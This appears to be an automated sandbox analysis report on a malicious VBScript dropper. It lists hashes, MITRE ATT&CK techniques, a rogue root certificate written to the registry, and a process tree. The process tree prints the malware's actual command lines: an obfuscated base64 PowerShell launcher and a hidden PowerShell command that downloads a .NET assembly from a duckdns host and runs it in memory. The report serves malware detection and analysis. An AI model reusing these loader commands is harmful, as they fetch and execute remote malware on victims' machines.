ce9afd85592a8a55ee6d020b3582644e0e1249571a0443757cc31d7214597a78

General

Target

whatyoudowhereyouat.vbs
Size

325KB
MD5

488acf579270c341ddf2616f04cd73f6
SHA1

a013ca4551c135af35d2af66ad8a6a1a14e00888
SHA256

ce9afd85592a8a55ee6d020b3582644e0e1249571a0443757cc31d7214597a78
SHA512

31051ba36949caae0293a12f8b2cbc9cbf5801293ce435208d4ca9ddaed0b78f490aa1e57c52425ea304f7442a9465104ad62b71b35c73e402a7b11c1101fbc1
SSDEEP

3072:I5n5L5XNsnn+Llpxn7sMxzakixvvspBOEeBQZxNj53e:RnkKMxzakZfNj5O

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://servidorarquivos.duckdns.org/e/e

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	3952	WScript.exe
30	2872	powershell.exe
34	2872	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 3 IoCs

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 040000000100000010000000ebb04f1d3a2e372f1dda6e27d6b680fa1400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f00b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b0601050507030803000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd250f000000010000001000000065fc47520f66383962ec0b7b88a0821d190000000100000010000000e53d34cecb05c17ee332c749d78c02562000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 5c000000010000000400000000040000190000000100000010000000e53d34cecb05c17ee332c749d78c02560f000000010000001000000065fc47520f66383962ec0b7b88a0821d03000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd2509000000010000000c000000300a06082b060105050703080b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e00670020004300410000001400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f0040000000100000010000000ebb04f1d3a2e372f1dda6e27d6b680fa2000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe
2872	powershell.exe
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 4312	3952	WScript.exe	86
PID 3952 wrote to memory of 4312	3952	WScript.exe	86
PID 4312 wrote to memory of 2872	4312	powershell.exe	88
PID 4312 wrote to memory of 2872	4312	powershell.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\whatyoudowhereyouat.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂HM⁂ZQBy⁂HY⁂aQBk⁂G8⁂cgBh⁂HI⁂cQB1⁂Gk⁂dgBv⁂HM⁂LgBk⁂HU⁂YwBr⁂GQ⁂bgBz⁂C4⁂bwBy⁂Gc⁂LwBl⁂C8⁂ZQ⁂n⁂Ck⁂KQ⁂7⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBB⁂H⁂⁂c⁂BE⁂G8⁂bQBh⁂Gk⁂bgBd⁂Do⁂OgBD⁂HU⁂cgBy⁂GU⁂bgB0⁂EQ⁂bwBt⁂GE⁂aQBu⁂C4⁂T⁂Bv⁂GE⁂Z⁂⁂o⁂CQ⁂R⁂BM⁂Ew⁂KQ⁂u⁂Ec⁂ZQB0⁂FQ⁂eQBw⁂GU⁂K⁂⁂n⁂EY⁂aQBi⁂GU⁂cg⁂u⁂Eg⁂bwBt⁂GU⁂Jw⁂p⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂Bb⁂G8⁂YgBq⁂GU⁂YwB0⁂Fs⁂XQBd⁂C⁂⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂ZQBl⁂G0⁂bQBl⁂GU⁂bQBt⁂G0⁂ZQBl⁂G0⁂Lw⁂z⁂DQ⁂Lg⁂2⁂DY⁂Lg⁂4⁂Dg⁂Lg⁂1⁂DQ⁂Lw⁂v⁂Do⁂c⁂B0⁂HQ⁂a⁂⁂n⁂Ck⁂KQ⁂=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://servidorarquivos.duckdns.org/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.eemmeemmmeem/34.66.88.54//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vngg21jz.pg0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2872-163-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download
memory/2872-168-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download
memory/2872-165-0x0000024D45FA0000-0x0000024D45FB0000-memory.dmp

Filesize
64KB

Download
memory/2872-149-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download
memory/2872-159-0x0000024D45FA0000-0x0000024D45FB0000-memory.dmp

Filesize
64KB

Download
memory/2872-164-0x0000024D45FA0000-0x0000024D45FB0000-memory.dmp

Filesize
64KB

Download
memory/4312-146-0x000002C5633E0000-0x000002C5633F0000-memory.dmp

Filesize
64KB

Download
memory/4312-162-0x000002C5633E0000-0x000002C5633F0000-memory.dmp

Filesize
64KB

Download
memory/4312-161-0x000002C5633E0000-0x000002C5633F0000-memory.dmp

Filesize
64KB

Download
memory/4312-160-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download
memory/4312-148-0x000002C5633E0000-0x000002C5633F0000-memory.dmp

Filesize
64KB

Download
memory/4312-147-0x000002C5633E0000-0x000002C5633F0000-memory.dmp

Filesize
64KB

Download
memory/4312-145-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download
memory/4312-144-0x000002C5632F0000-0x000002C563312000-memory.dmp

Filesize
136KB

Download
memory/4312-172-0x00007FFB3C810000-0x00007FFB3D2D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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